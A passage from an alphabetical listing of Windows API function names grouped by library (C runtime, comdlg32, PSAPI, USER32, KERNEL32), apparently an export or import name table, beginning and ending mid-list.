rand realloc remove rename rewind scanf setbuf - setlocale setvbuf signal sin sinh sprintf sqrt srand sscanf strcat strchr strcmp strcoll strcpy strcspn strerror strftime strlen strncat strncmp strncpy - strpbrk strrchr strspn strstr strtod strtok strtol strtoul strxfrm swprintf swscanf system tan tanh time tmpfile tmpnam tolower toupper towlower towupper - ungetc ungetwc vfprintf vfwprintf vprintf vsprintf vswprintf vwprintf wcscat wcschr wcscmp wcscoll wcscpy wcscspn wcsftime wcslen wcsncat wcsncmp wcsncpy - wcspbrk wcsrchr wcsspn wcsstr wcstod wcstok wcstol wcstombs wcstoul wcsxfrm wctomb wprintf wscanf -comdlg32 - ChooseColorA ChooseColorW ChooseFontA ChooseFontW CommDlgExtendedError FindTextA FindTextW GetFileTitleA GetFileTitleW GetOpenFileNameA GetOpenFileNameW - GetSaveFileNameA GetSaveFileNameW LoadAlterBitmap PageSetupDlgA PageSetupDlgW PrintDlgA PrintDlgExA PrintDlgExW PrintDlgW ReplaceTextA ReplaceTextW - Ssync_ANSI_UNICODE_Struct_For_WOW WantArrows dwLBSubclass dwOKSubclass -PSAPI - EmptyWorkingSet EnumDeviceDrivers EnumPageFilesA EnumPageFilesW EnumProcessModules EnumProcesses GetDeviceDriverBaseNameA GetDeviceDriverBaseNameW - GetDeviceDriverFileNameA GetDeviceDriverFileNameW GetMappedFileNameA GetMappedFileNameW GetModuleBaseNameA GetModuleBaseNameW GetModuleFileNameExA - GetModuleFileNameExW GetModuleInformation GetPerformanceInfo GetProcessImageFileNameA GetProcessImageFileNameW GetProcessMemoryInfo GetWsChanges - InitializeProcessForWsWatch QueryWorkingSet -USER32 - ActivateKeyboardLayout AdjustWindowRect AdjustWindowRectEx AlignRects AllowForegroundActivation AllowSetForegroundWindow AnimateWindow AnyPopup AppendMenuA - AppendMenuW ArrangeIconicWindows AttachThreadInput BeginDeferWindowPos BeginPaint BlockInput BringWindowToTop BroadcastSystemMessage BroadcastSystemMessageA - BroadcastSystemMessageExA BroadcastSystemMessageExW BroadcastSystemMessageW BuildReasonArray CalcMenuBar CallMsgFilter CallMsgFilterA CallMsgFilterW - CallNextHookEx CallWindowProcA CallWindowProcW CascadeChildWindows CascadeWindows ChangeClipboardChain ChangeDisplaySettingsA ChangeDisplaySettingsExA - ChangeDisplaySettingsExW ChangeDisplaySettingsW ChangeMenuA ChangeMenuW CharLowerA CharLowerBuffA CharLowerBuffW CharLowerW CharNextA CharNextExA CharNextW - CharPrevA CharPrevExA CharPrevW CharToOemA CharToOemBuffA CharToOemBuffW CharToOemW CharUpperA CharUpperBuffA CharUpperBuffW CharUpperW CheckDlgButton - CheckMenuItem CheckMenuRadioItem CheckRadioButton ChildWindowFromPoint ChildWindowFromPointEx CliImmSetHotKey ClientThreadSetup ClientToScreen ClipCursor - CloseClipboard CloseDesktop CloseWindow CloseWindowStation CopyAcceleratorTableA CopyAcceleratorTableW CopyIcon CopyImage CopyRect CountClipboardFormats - CreateAcceleratorTableA CreateAcceleratorTableW CreateCaret CreateCursor CreateDesktopA CreateDesktopW CreateDialogIndirectParamA CreateDialogIndirectParamAorW - CreateDialogIndirectParamW CreateDialogParamA CreateDialogParamW CreateIcon CreateIconFromResource CreateIconFromResourceEx CreateIconIndirect CreateMDIWindowA - CreateMDIWindowW CreateMenu CreatePopupMenu CreateSystemThreads CreateWindowExA CreateWindowExW CreateWindowStationA CreateWindowStationW - CsrBroadcastSystemMessageExW CtxInitUser32 DdeAbandonTransaction DdeAccessData DdeAddData DdeClientTransaction DdeCmpStringHandles DdeConnect DdeConnectList - DdeCreateDataHandle DdeCreateStringHandleA DdeCreateStringHandleW DdeDisconnect DdeDisconnectList DdeEnableCallback DdeFreeDataHandle DdeFreeStringHandle - DdeGetData DdeGetLastError DdeGetQualityOfService DdeImpersonateClient DdeInitializeA DdeInitializeW DdeKeepStringHandle DdeNameService DdePostAdvise - DdeQueryConvInfo DdeQueryNextServer DdeQueryStringA DdeQueryStringW DdeReconnect DdeSetQualityOfService DdeSetUserHandle DdeUnaccessData DdeUninitialize - DefDlgProcA DefDlgProcW DefFrameProcA DefFrameProcW DefMDIChildProcA DefMDIChildProcW DefRawInputProc DefWindowProcA DefWindowProcW DeferWindowPos DeleteMenu - DeregisterShellHookWindow DestroyAcceleratorTable DestroyCaret DestroyCursor DestroyIcon DestroyMenu DestroyReasons DestroyWindow DeviceEventWorker - DialogBoxIndirectParamA DialogBoxIndirectParamAorW DialogBoxIndirectParamW DialogBoxParamA DialogBoxParamW DisableProcessWindowsGhosting DispatchMessageA - DispatchMessageW DisplayExitWindowsWarnings DlgDirListA DlgDirListComboBoxA DlgDirListComboBoxW DlgDirListW DlgDirSelectComboBoxExA DlgDirSelectComboBoxExW - DlgDirSelectExA DlgDirSelectExW DragDetect DragObject DrawAnimatedRects DrawCaption DrawCaptionTempA DrawCaptionTempW DrawEdge DrawFocusRect DrawFrame - DrawFrameControl DrawIcon DrawIconEx DrawMenuBar DrawMenuBarTemp DrawStateA DrawStateW DrawTextA DrawTextExA DrawTextExW DrawTextW EditWndProc EmptyClipboard - EnableMenuItem EnableScrollBar EnableWindow EndDeferWindowPos EndDialog EndMenu EndPaint EndTask EnterReaderModeHelper EnumChildWindows EnumClipboardFormats - EnumDesktopWindows EnumDesktopsA EnumDesktopsW EnumDisplayDevicesA EnumDisplayDevicesW EnumDisplayMonitors EnumDisplaySettingsA EnumDisplaySettingsExA - EnumDisplaySettingsExW EnumDisplaySettingsW EnumPropsA EnumPropsExA EnumPropsExW EnumPropsW EnumThreadWindows EnumWindowStationsA EnumWindowStationsW - EnumWindows EqualRect ExcludeUpdateRgn ExitWindowsEx FillRect FindWindowA FindWindowExA FindWindowExW FindWindowW FlashWindow FlashWindowEx FrameRect - FreeDDElParam GetActiveWindow GetAltTabInfo GetAltTabInfoA GetAltTabInfoW GetAncestor GetAppCompatFlags2 GetAppCompatFlags GetAsyncKeyState GetCapture - GetCaretBlinkTime GetCaretPos GetClassInfoA GetClassInfoExA GetClassInfoExW GetClassInfoW GetClassLongA GetClassLongW GetClassNameA GetClassNameW GetClassWord - GetClientRect GetClipCursor GetClipboardData GetClipboardFormatNameA GetClipboardFormatNameW GetClipboardOwner GetClipboardSequenceNumber GetClipboardViewer - GetComboBoxInfo GetCursor GetCursorFrameInfo GetCursorInfo GetCursorPos GetDC GetDCEx GetDesktopWindow GetDialogBaseUnits GetDlgCtrlID GetDlgItem GetDlgItemInt - GetDlgItemTextA GetDlgItemTextW GetDoubleClickTime GetFocus GetForegroundWindow GetGUIThreadInfo GetGuiResources GetIconInfo GetInputDesktop GetInputState - GetInternalWindowPos GetKBCodePage GetKeyNameTextA GetKeyNameTextW GetKeyState GetKeyboardLayout GetKeyboardLayoutList GetKeyboardLayoutNameA - GetKeyboardLayoutNameW GetKeyboardState GetKeyboardType GetLastActivePopup GetLastInputInfo GetLayeredWindowAttributes GetListBoxInfo GetMenu GetMenuBarInfo - GetMenuCheckMarkDimensions GetMenuContextHelpId GetMenuDefaultItem GetMenuInfo GetMenuItemCount GetMenuItemID GetMenuItemInfoA GetMenuItemInfoW GetMenuItemRect - GetMenuState GetMenuStringA GetMenuStringW GetMessageA GetMessageExtraInfo GetMessagePos GetMessageTime GetMessageW GetMonitorInfoA GetMonitorInfoW - GetMouseMovePointsEx GetNextDlgGroupItem GetNextDlgTabItem GetOpenClipboardWindow GetParent GetPriorityClipboardFormat GetProcessDefaultLayout - GetProcessWindowStation GetProgmanWindow GetPropA GetPropW GetQueueStatus GetRawInputBuffer GetRawInputData GetRawInputDeviceInfoA GetRawInputDeviceInfoW - GetRawInputDeviceList GetReasonTitleFromReasonCode GetRegisteredRawInputDevices GetScrollBarInfo GetScrollInfo GetScrollPos GetScrollRange GetShellWindow - GetSubMenu GetSysColor GetSysColorBrush GetSystemMenu GetSystemMetrics GetTabbedTextExtentA GetTabbedTextExtentW GetTaskmanWindow GetThreadDesktop - GetTitleBarInfo GetTopWindow GetUpdateRect GetUpdateRgn GetUserObjectInformationA GetUserObjectInformationW GetUserObjectSecurity GetWinStationInfo GetWindow - GetWindowContextHelpId GetWindowDC GetWindowInfo GetWindowLongA GetWindowLongW GetWindowModuleFileName GetWindowModuleFileNameA GetWindowModuleFileNameW - GetWindowPlacement GetWindowRect GetWindowRgn GetWindowRgnBox GetWindowTextA GetWindowTextLengthA GetWindowTextLengthW GetWindowTextW GetWindowThreadProcessId - GetWindowWord GrayStringA GrayStringW HideCaret HiliteMenuItem IMPGetIMEA IMPGetIMEW IMPQueryIMEA IMPQueryIMEW IMPSetIMEA IMPSetIMEW ImpersonateDdeClientWindow - InSendMessage InSendMessageEx InflateRect InitializeLpkHooks InitializeWin32EntryTable InsertMenuA InsertMenuItemA InsertMenuItemW InsertMenuW - InternalGetWindowText IntersectRect InvalidateRect InvalidateRgn InvertRect IsCharAlphaA IsCharAlphaNumericA IsCharAlphaNumericW IsCharAlphaW IsCharLowerA - IsCharLowerW IsCharUpperA IsCharUpperW IsChild IsClipboardFormatAvailable IsDialogMessage IsDialogMessageA IsDialogMessageW IsDlgButtonChecked IsGUIThread - IsHungAppWindow IsIconic IsMenu IsRectEmpty IsServerSideWindow IsWinEventHookInstalled IsWindow IsWindowEnabled IsWindowInDestroy IsWindowUnicode - IsWindowVisible IsZoomed KillSystemTimer KillTimer LoadAcceleratorsA LoadAcceleratorsW LoadBitmapA LoadBitmapW LoadCursorA LoadCursorFromFileA - LoadCursorFromFileW LoadCursorW LoadIconA LoadIconW LoadImageA LoadImageW LoadKeyboardLayoutA LoadKeyboardLayoutEx LoadKeyboardLayoutW LoadLocalFonts LoadMenuA - LoadMenuIndirectA LoadMenuIndirectW LoadMenuW LoadRemoteFonts LoadStringA LoadStringW LockSetForegroundWindow LockWindowStation LockWindowUpdate - LockWorkStation LookupIconIdFromDirectory LookupIconIdFromDirectoryEx MBToWCSEx MB_GetString MapDialogRect MapVirtualKeyA MapVirtualKeyExA MapVirtualKeyExW - MapVirtualKeyW MapWindowPoints MenuItemFromPoint MenuWindowProcA MenuWindowProcW MessageBeep MessageBoxA MessageBoxExA MessageBoxExW MessageBoxIndirectA - MessageBoxIndirectW MessageBoxTimeoutA MessageBoxTimeoutW MessageBoxW ModifyMenuA ModifyMenuW MonitorFromPoint MonitorFromRect MonitorFromWindow MoveWindow - MsgWaitForMultipleObjects MsgWaitForMultipleObjectsEx NotifyWinEvent OemKeyScan OemToCharA OemToCharBuffA OemToCharBuffW OemToCharW OffsetRect OpenClipboard - OpenDesktopA OpenDesktopW OpenIcon OpenInputDesktop OpenWindowStationA OpenWindowStationW PackDDElParam PaintDesktop PaintMenuBar PeekMessageA PeekMessageW - PostMessageA PostMessageW PostQuitMessage PostThreadMessageA PostThreadMessageW PrintWindow PrivateExtractIconExA PrivateExtractIconExW PrivateExtractIconsA - PrivateExtractIconsW PrivateSetDbgTag PrivateSetRipFlags PtInRect QuerySendMessage QueryUserCounters RealChildWindowFromPoint RealGetWindowClass - RealGetWindowClassA RealGetWindowClassW ReasonCodeNeedsBugID ReasonCodeNeedsComment RecordShutdownReason RedrawWindow RegisterClassA RegisterClassExA - RegisterClassExW RegisterClassW RegisterClipboardFormatA RegisterClipboardFormatW RegisterDeviceNotificationA RegisterDeviceNotificationW RegisterHotKey - RegisterLogonProcess RegisterMessagePumpHook RegisterRawInputDevices RegisterServicesProcess RegisterShellHookWindow RegisterSystemThread RegisterTasklist - RegisterUserApiHook RegisterWindowMessageA RegisterWindowMessageW ReleaseCapture ReleaseDC RemoveMenu RemovePropA RemovePropW ReplyMessage ResolveDesktopForWOW - ReuseDDElParam ScreenToClient ScrollChildren ScrollDC ScrollWindow ScrollWindowEx SendDlgItemMessageA SendDlgItemMessageW SendIMEMessageExA SendIMEMessageExW - SendInput SendMessageA SendMessageCallbackA SendMessageCallbackW SendMessageTimeoutA SendMessageTimeoutW SendMessageW SendNotifyMessageA SendNotifyMessageW - SetActiveWindow SetCapture SetCaretBlinkTime SetCaretPos SetClassLongA SetClassLongW SetClassWord SetClipboardData SetClipboardViewer SetConsoleReserveKeys - SetCursor SetCursorContents SetCursorPos SetDebugErrorLevel SetDeskWallpaper SetDlgItemInt SetDlgItemTextA SetDlgItemTextW SetDoubleClickTime SetFocus - SetForegroundWindow SetInternalWindowPos SetKeyboardState SetLastErrorEx SetLayeredWindowAttributes SetLogonNotifyWindow SetMenu SetMenuContextHelpId - SetMenuDefaultItem SetMenuInfo SetMenuItemBitmaps SetMenuItemInfoA SetMenuItemInfoW SetMessageExtraInfo SetMessageQueue SetParent SetProcessDefaultLayout - SetProcessWindowStation SetProgmanWindow SetPropA SetPropW SetRect SetRectEmpty SetScrollInfo SetScrollPos SetScrollRange SetShellWindow SetShellWindowEx - SetSysColors SetSysColorsTemp SetSystemCursor SetSystemMenu SetSystemTimer SetTaskmanWindow SetThreadDesktop SetTimer SetUserObjectInformationA - SetUserObjectInformationW SetUserObjectSecurity SetWinEventHook SetWindowContextHelpId SetWindowLongA SetWindowLongW SetWindowPlacement SetWindowPos - SetWindowRgn SetWindowStationUser SetWindowTextA SetWindowTextW SetWindowWord SetWindowsHookA SetWindowsHookExA SetWindowsHookExW SetWindowsHookW ShowCaret - ShowCursor ShowOwnedPopups ShowScrollBar ShowStartGlass ShowWindow ShowWindowAsync SoftModalMessageBox SubtractRect SwapMouseButton SwitchDesktop - SwitchToThisWindow SystemParametersInfoA SystemParametersInfoW TabbedTextOutA TabbedTextOutW TileChildWindows TileWindows ToAscii ToAsciiEx ToUnicode - ToUnicodeEx TrackMouseEvent TrackPopupMenu TrackPopupMenuEx TranslateAccelerator TranslateAcceleratorA TranslateAcceleratorW TranslateMDISysAccel - TranslateMessage TranslateMessageEx UnhookWinEvent UnhookWindowsHook UnhookWindowsHookEx UnionRect UnloadKeyboardLayout UnlockWindowStation UnpackDDElParam - UnregisterClassA UnregisterClassW UnregisterDeviceNotification UnregisterHotKey UnregisterMessagePumpHook UnregisterUserApiHook UpdateLayeredWindow - UpdatePerUserSystemParameters UpdateWindow User32InitializeImmEntryTable UserClientDllInitialize UserHandleGrantAccess UserLpkPSMTextOut UserLpkTabbedTextOut - UserRealizePalette UserRegisterWowHandlers VRipOutput VTagOutput ValidateRect ValidateRgn VkKeyScanA VkKeyScanExA VkKeyScanExW VkKeyScanW WCSToMBEx - WINNLSEnableIME WINNLSGetEnableStatus WINNLSGetIMEHotkey WaitForInputIdle WaitMessage Win32PoolAllocationStats WinHelpA WinHelpW WindowFromDC WindowFromPoint - keybd_event mouse_event wsprintfA wsprintfW wvsprintfA wvsprintfW - GetWindowLongPtrA GetWindowLongPtrW SetWindowLongPtrA SetWindowLongPtrW -KERNEL32 - ActivateActCtx AddAtomA AddAtomW AddConsoleAliasA AddConsoleAliasW AddLocalAlternateComputerNameA AddLocalAlternateComputerNameW AddRefActCtx - AddVectoredExceptionHandler AllocConsole AllocateUserPhysicalPages AreFileApisANSI AssignProcessToJobObject AttachConsole BackupRead BackupSeek BackupWrite - BaseCheckAppcompatCache BaseCleanupAppcompatCache BaseCleanupAppcompatCacheSupport BaseDumpAppcompatCache BaseFlushAppcompatCache BaseInitAppcompatCache - BaseInitAppcompatCacheSupport BaseProcessInitPostImport BaseQueryModuleData BaseUpdateAppcompatCache BasepCheckWinSaferRestrictions Beep BeginUpdateResourceA - BeginUpdateResourceW BindIoCompletionCallback BuildCommDCBA BuildCommDCBAndTimeoutsA BuildCommDCBAndTimeoutsW BuildCommDCBW CallNamedPipeA CallNamedPipeW - CancelDeviceWakeupRequest CancelIo CancelTimerQueueTimer CancelWaitableTimer ChangeTimerQueueTimer CheckNameLegalDOS8Dot3A CheckNameLegalDOS8Dot3W - CheckRemoteDebuggerPresent ClearCommBreak ClearCommError CloseConsoleHandle CloseHandle CloseProfileUserMapping CmdBatNotification CommConfigDialogA - CommConfigDialogW CompareFileTime CompareStringA CompareStringW ConnectNamedPipe ConsoleMenuControl ContinueDebugEvent ConvertDefaultLocale - ConvertFiberToThread ConvertThreadToFiber CopyFileA CopyFileExA CopyFileExW CopyFileW CopyLZFile CreateActCtxA CreateActCtxW CreateConsoleScreenBuffer - CreateDirectoryA CreateDirectoryExA CreateDirectoryExW CreateDirectoryW CreateEventA CreateEventW CreateFiber CreateFiberEx CreateFileA CreateFileMappingA - CreateFileMappingW CreateFileW CreateHardLinkA CreateHardLinkW CreateIoCompletionPort CreateJobObjectA CreateJobObjectW CreateJobSet CreateMailslotA - CreateMailslotW CreateMemoryResourceNotification CreateMutexA CreateMutexW CreateNamedPipeA CreateNamedPipeW CreateNlsSecurityDescriptor CreatePipe - CreateProcessA CreateProcessInternalA CreateProcessInternalW CreateProcessInternalWSecure CreateProcessW CreateRemoteThread CreateSemaphoreA CreateSemaphoreW - CreateSocketHandle CreateTapePartition CreateThread CreateTimerQueue CreateTimerQueueTimer CreateToolhelp32Snapshot CreateVirtualBuffer CreateWaitableTimerA - CreateWaitableTimerW DeactivateActCtx DebugActiveProcess DebugActiveProcessStop DebugBreak DebugBreakProcess DebugSetProcessKillOnExit DecodePointer - DecodeSystemPointer DefineDosDeviceA DefineDosDeviceW DelayLoadFailureHook DeleteAtom DeleteCriticalSection DeleteFiber DeleteFileA DeleteFileW - DeleteTimerQueue DeleteTimerQueueEx DeleteTimerQueueTimer DeleteVolumeMountPointA DeleteVolumeMountPointW DeviceIoControl DisableThreadLibraryCalls - DisconnectNamedPipe DnsHostnameToComputerNameA DnsHostnameToComputerNameW DosDateTimeToFileTime DosPathToSessionPathA DosPathToSessionPathW - DuplicateConsoleHandle DuplicateHandle EncodePointer EncodeSystemPointer EndUpdateResourceA EndUpdateResourceW EnterCriticalSection EnumCalendarInfoA - EnumCalendarInfoExA EnumCalendarInfoExW EnumCalendarInfoW EnumDateFormatsA EnumDateFormatsExA EnumDateFormatsExW EnumDateFormatsW EnumLanguageGroupLocalesA - EnumLanguageGroupLocalesW EnumResourceLanguagesA EnumResourceLanguagesW EnumResourceNamesA EnumResourceNamesW EnumResourceTypesA EnumResourceTypesW - EnumSystemCodePagesA EnumSystemCodePagesW EnumSystemGeoID EnumSystemLanguageGroupsA EnumSystemLanguageGroupsW EnumSystemLocalesA EnumSystemLocalesW - EnumTimeFormatsA EnumTimeFormatsW EnumUILanguagesA EnumUILanguagesW EnumerateLocalComputerNamesA EnumerateLocalComputerNamesW EraseTape EscapeCommFunction - ExitProcess ExitThread ExitVDM ExpandEnvironmentStringsA ExpandEnvironmentStringsW ExpungeConsoleCommandHistoryA ExpungeConsoleCommandHistoryW - ExtendVirtualBuffer FatalAppExitA FatalAppExitW FatalExit FileTimeToDosDateTime FileTimeToLocalFileTime FileTimeToSystemTime FillConsoleOutputAttribute - FillConsoleOutputCharacterA FillConsoleOutputCharacterW FindActCtxSectionGuid FindActCtxSectionStringA FindActCtxSectionStringW FindAtomA FindAtomW FindClose - FindCloseChangeNotification FindFirstChangeNotificationA FindFirstChangeNotificationW FindFirstFileA FindFirstFileExA FindFirstFileExW FindFirstFileW - FindFirstVolumeA FindFirstVolumeMountPointA FindFirstVolumeMountPointW FindFirstVolumeW FindNextChangeNotification FindNextFileA FindNextFileW FindNextVolumeA - FindNextVolumeMountPointA FindNextVolumeMountPointW FindNextVolumeW FindResourceA FindResourceExA FindResourceExW FindResourceW FindVolumeClose - FindVolumeMountPointClose FlushConsoleInputBuffer FlushFileBuffers FlushInstructionCache FlushViewOfFile FoldStringA FoldStringW FormatMessageA FormatMessageW - FreeConsole FreeEnvironmentStringsA FreeEnvironmentStringsW FreeLibrary FreeLibraryAndExitThread FreeResource FreeUserPhysicalPages FreeVirtualBuffer - GenerateConsoleCtrlEvent GetACP GetAtomNameA GetAtomNameW GetBinaryType GetBinaryTypeA GetBinaryTypeW GetCPFileNameFromRegistry GetCPInfo GetCPInfoExA - GetCPInfoExW GetCalendarInfoA GetCalendarInfoW GetComPlusPackageInstallStatus GetCommConfig GetCommMask GetCommModemStatus GetCommProperties GetCommState - GetCommTimeouts GetCommandLineA GetCommandLineW GetCompressedFileSizeA GetCompressedFileSizeW GetComputerNameA GetComputerNameExA GetComputerNameExW - GetComputerNameW GetConsoleAliasA GetConsoleAliasExesA GetConsoleAliasExesLengthA GetConsoleAliasExesLengthW GetConsoleAliasExesW GetConsoleAliasW - GetConsoleAliasesA GetConsoleAliasesLengthA GetConsoleAliasesLengthW GetConsoleAliasesW GetConsoleCP GetConsoleCharType GetConsoleCommandHistoryA - GetConsoleCommandHistoryLengthA GetConsoleCommandHistoryLengthW GetConsoleCommandHistoryW GetConsoleCursorInfo GetConsoleCursorMode GetConsoleDisplayMode - GetConsoleFontInfo GetConsoleFontSize GetConsoleHardwareState GetConsoleInputExeNameA GetConsoleInputExeNameW GetConsoleInputWaitHandle - GetConsoleKeyboardLayoutNameA GetConsoleKeyboardLayoutNameW GetConsoleMode GetConsoleNlsMode GetConsoleOutputCP GetConsoleProcessList - GetConsoleScreenBufferInfo GetConsoleSelectionInfo GetConsoleTitleA GetConsoleTitleW GetConsoleWindow GetCurrencyFormatA GetCurrencyFormatW GetCurrentActCtx - GetCurrentConsoleFont GetCurrentDirectoryA GetCurrentDirectoryW GetCurrentProcess GetCurrentProcessId GetCurrentThread GetCurrentThreadId GetDateFormatA - GetDateFormatW GetDefaultCommConfigA GetDefaultCommConfigW GetDefaultSortkeySize GetDevicePowerState GetDiskFreeSpaceA GetDiskFreeSpaceExA GetDiskFreeSpaceExW - GetDiskFreeSpaceW GetDllDirectoryA GetDllDirectoryW GetDriveTypeA GetDriveTypeW GetEnvironmentStrings GetEnvironmentStringsA GetEnvironmentStringsW - GetEnvironmentVariableA GetEnvironmentVariableW GetExitCodeProcess GetExitCodeThread GetExpandedNameA GetExpandedNameW GetFileAttributesA GetFileAttributesExA - GetFileAttributesExW GetFileAttributesW GetFileInformationByHandle GetFileSize GetFileSizeEx GetFileTime GetFileType GetFirmwareEnvironmentVariableA - GetFirmwareEnvironmentVariableW GetFullPathNameA GetFullPathNameW GetGeoInfoA GetGeoInfoW GetHandleContext GetHandleInformation GetLargestConsoleWindowSize - GetLastError GetLinguistLangSize GetLocalTime GetLocaleInfoA GetLocaleInfoW GetLogicalDriveStringsA GetLogicalDriveStringsW GetLogicalDrives GetLongPathNameA - GetLongPathNameW GetMailslotInfo GetModuleFileNameA GetModuleFileNameW GetModuleHandleA GetModuleHandleExA GetModuleHandleExW GetModuleHandleW - GetNamedPipeHandleStateA GetNamedPipeHandleStateW GetNamedPipeInfo GetNativeSystemInfo GetNextVDMCommand GetNlsSectionName GetNumaAvailableMemory - GetNumaAvailableMemoryNode GetNumaHighestNodeNumber GetNumaNodeProcessorMask GetNumaProcessorMap GetNumaProcessorNode GetNumberFormatA GetNumberFormatW - GetNumberOfConsoleFonts GetNumberOfConsoleInputEvents GetNumberOfConsoleMouseButtons GetOEMCP GetOverlappedResult GetPriorityClass GetPrivateProfileIntA - GetPrivateProfileIntW GetPrivateProfileSectionA GetPrivateProfileSectionNamesA GetPrivateProfileSectionNamesW GetPrivateProfileSectionW - GetPrivateProfileStringA GetPrivateProfileStringW GetPrivateProfileStructA GetPrivateProfileStructW GetProcAddress GetProcessAffinityMask GetProcessHandleCount - GetProcessHeap GetProcessHeaps GetProcessId GetProcessIoCounters GetProcessPriorityBoost GetProcessShutdownParameters GetProcessTimes GetProcessVersion - GetProcessWorkingSetSize GetProfileIntA GetProfileIntW GetProfileSectionA GetProfileSectionW GetProfileStringA GetProfileStringW GetQueuedCompletionStatus - GetShortPathNameA GetShortPathNameW GetStartupInfoA GetStartupInfoW GetStdHandle GetStringTypeA GetStringTypeExA GetStringTypeExW GetStringTypeW - GetSystemDefaultLCID GetSystemDefaultLangID GetSystemDefaultUILanguage GetSystemDirectoryA GetSystemDirectoryW GetSystemInfo GetSystemPowerStatus - GetSystemRegistryQuota GetSystemTime GetSystemTimeAdjustment GetSystemTimeAsFileTime GetSystemTimes GetSystemWindowsDirectoryA GetSystemWindowsDirectoryW - GetSystemWow64DirectoryA GetSystemWow64DirectoryW GetTapeParameters GetTapePosition GetTapeStatus GetTempFileNameA GetTempFileNameW GetTempPathA GetTempPathW - GetThreadContext GetThreadIOPendingFlag GetThreadLocale GetThreadPriority GetThreadPriorityBoost GetThreadSelectorEntry GetThreadTimes GetTickCount - GetTimeFormatA GetTimeFormatW GetTimeZoneInformation GetUserDefaultLCID GetUserDefaultLangID GetUserDefaultUILanguage GetUserGeoID GetVDMCurrentDirectories - GetVersion GetVersionExA GetVersionExW GetVolumeInformationA GetVolumeInformationW GetVolumeNameForVolumeMountPointA GetVolumeNameForVolumeMountPointW - GetVolumePathNameA GetVolumePathNameW GetVolumePathNamesForVolumeNameA GetVolumePathNamesForVolumeNameW GetWindowsDirectoryA GetWindowsDirectoryW GetWriteWatch - GlobalAddAtomA GlobalAddAtomW GlobalAlloc GlobalCompact GlobalDeleteAtom GlobalFindAtomA GlobalFindAtomW GlobalFix GlobalFlags GlobalFree GlobalGetAtomNameA - GlobalGetAtomNameW GlobalHandle GlobalLock GlobalMemoryStatus GlobalMemoryStatusEx GlobalReAlloc GlobalSize GlobalUnWire GlobalUnfix GlobalUnlock GlobalWire - Heap32First Heap32ListFirst Heap32ListNext Heap32Next HeapAlloc HeapCompact HeapCreate HeapCreateTagsW HeapDestroy HeapExtend HeapFree HeapLock - HeapQueryInformation HeapQueryTagW HeapReAlloc HeapSetInformation HeapSize HeapSummary HeapUnlock HeapUsage HeapValidate HeapWalk InitAtomTable - InitializeCriticalSection InitializeCriticalSectionAndSpinCount InitializeSListHead InterlockedCompareExchange InterlockedDecrement InterlockedExchange - InterlockedExchangeAdd InterlockedFlushSList InterlockedIncrement InterlockedPopEntrySList InterlockedPushEntrySList InvalidateConsoleDIBits IsBadCodePtr - IsBadHugeReadPtr IsBadHugeWritePtr IsBadReadPtr IsBadStringPtrA IsBadStringPtrW IsBadWritePtr IsDBCSLeadByte IsDBCSLeadByteEx IsDebuggerPresent IsProcessInJob - IsProcessorFeaturePresent IsSystemResumeAutomatic IsValidCodePage IsValidLanguageGroup IsValidLocale IsValidUILanguage IsWow64Process LCMapStringA LCMapStringW - LZClose LZCloseFile LZCopy LZCreateFileW LZDone LZInit LZOpenFileA LZOpenFileW LZRead LZSeek LZStart LeaveCriticalSection LoadLibraryA LoadLibraryExA - LoadLibraryExW LoadLibraryW LoadModule LoadResource LocalAlloc LocalCompact LocalFileTimeToFileTime LocalFlags LocalFree LocalHandle LocalLock LocalReAlloc - LocalShrink LocalSize LocalUnlock LockFile LockFileEx LockResource MapUserPhysicalPages MapUserPhysicalPagesScatter MapViewOfFile MapViewOfFileEx Module32First - Module32FirstW Module32Next Module32NextW MoveFileA MoveFileExA MoveFileExW MoveFileW MoveFileWithProgressA MoveFileWithProgressW MulDiv MultiByteToWideChar - NlsConvertIntegerToString NlsGetCacheUpdateCount NlsResetProcessLocale NumaVirtualQueryNode OpenConsoleW OpenDataFile OpenEventA OpenEventW OpenFile - OpenFileMappingA OpenFileMappingW OpenJobObjectA OpenJobObjectW OpenMutexA OpenMutexW OpenProcess OpenProfileUserMapping OpenSemaphoreA OpenSemaphoreW - OpenThread OpenWaitableTimerA OpenWaitableTimerW OutputDebugStringA OutputDebugStringW PeekConsoleInputA PeekConsoleInputW PeekNamedPipe - PostQueuedCompletionStatus PrepareTape PrivCopyFileExW PrivMoveFileIdentityW Process32First Process32FirstW Process32Next Process32NextW ProcessIdToSessionId - PulseEvent PurgeComm QueryActCtxW QueryDepthSList QueryDosDeviceA QueryDosDeviceW QueryInformationJobObject QueryMemoryResourceNotification - QueryPerformanceCounter QueryPerformanceFrequency QueryWin31IniFilesMappedToRegistry QueueUserAPC QueueUserWorkItem RaiseException ReadConsoleA - ReadConsoleInputA ReadConsoleInputExA ReadConsoleInputExW ReadConsoleInputW ReadConsoleOutputA ReadConsoleOutputAttribute ReadConsoleOutputCharacterA - ReadConsoleOutputCharacterW ReadConsoleOutputW ReadConsoleW ReadDirectoryChangesW ReadFile ReadFileEx ReadFileScatter ReadProcessMemory RegisterConsoleIME - RegisterConsoleOS2 RegisterConsoleVDM RegisterWaitForInputIdle RegisterWaitForSingleObject RegisterWaitForSingleObjectEx RegisterWowBaseHandlers - RegisterWowExec ReleaseActCtx ReleaseMutex ReleaseSemaphore RemoveDirectoryA RemoveDirectoryW RemoveLocalAlternateComputerNameA - RemoveLocalAlternateComputerNameW RemoveVectoredExceptionHandler ReplaceFile ReplaceFileA ReplaceFileW RequestDeviceWakeup RequestWakeupLatency ResetEvent - ResetWriteWatch RestoreLastError ResumeThread RtlCaptureContext RtlCaptureStackBackTrace RtlFillMemory RtlMoveMemory RtlUnwind RtlZeroMemory - ScrollConsoleScreenBufferA ScrollConsoleScreenBufferW SearchPathA SearchPathW SetCPGlobal SetCalendarInfoA SetCalendarInfoW SetClientTimeZoneInformation - SetComPlusPackageInstallStatus SetCommBreak SetCommConfig SetCommMask SetCommState SetCommTimeouts SetComputerNameA SetComputerNameExA SetComputerNameExW - SetComputerNameW SetConsoleActiveScreenBuffer SetConsoleCP SetConsoleCommandHistoryMode SetConsoleCtrlHandler SetConsoleCursor SetConsoleCursorInfo - SetConsoleCursorMode SetConsoleCursorPosition SetConsoleDisplayMode SetConsoleFont SetConsoleHardwareState SetConsoleIcon SetConsoleInputExeNameA - SetConsoleInputExeNameW SetConsoleKeyShortcuts SetConsoleLocalEUDC SetConsoleMaximumWindowSize SetConsoleMenuClose SetConsoleMode SetConsoleNlsMode - SetConsoleNumberOfCommandsA SetConsoleNumberOfCommandsW SetConsoleOS2OemFormat SetConsoleOutputCP SetConsolePalette SetConsoleScreenBufferSize - SetConsoleTextAttribute SetConsoleTitleA SetConsoleTitleW 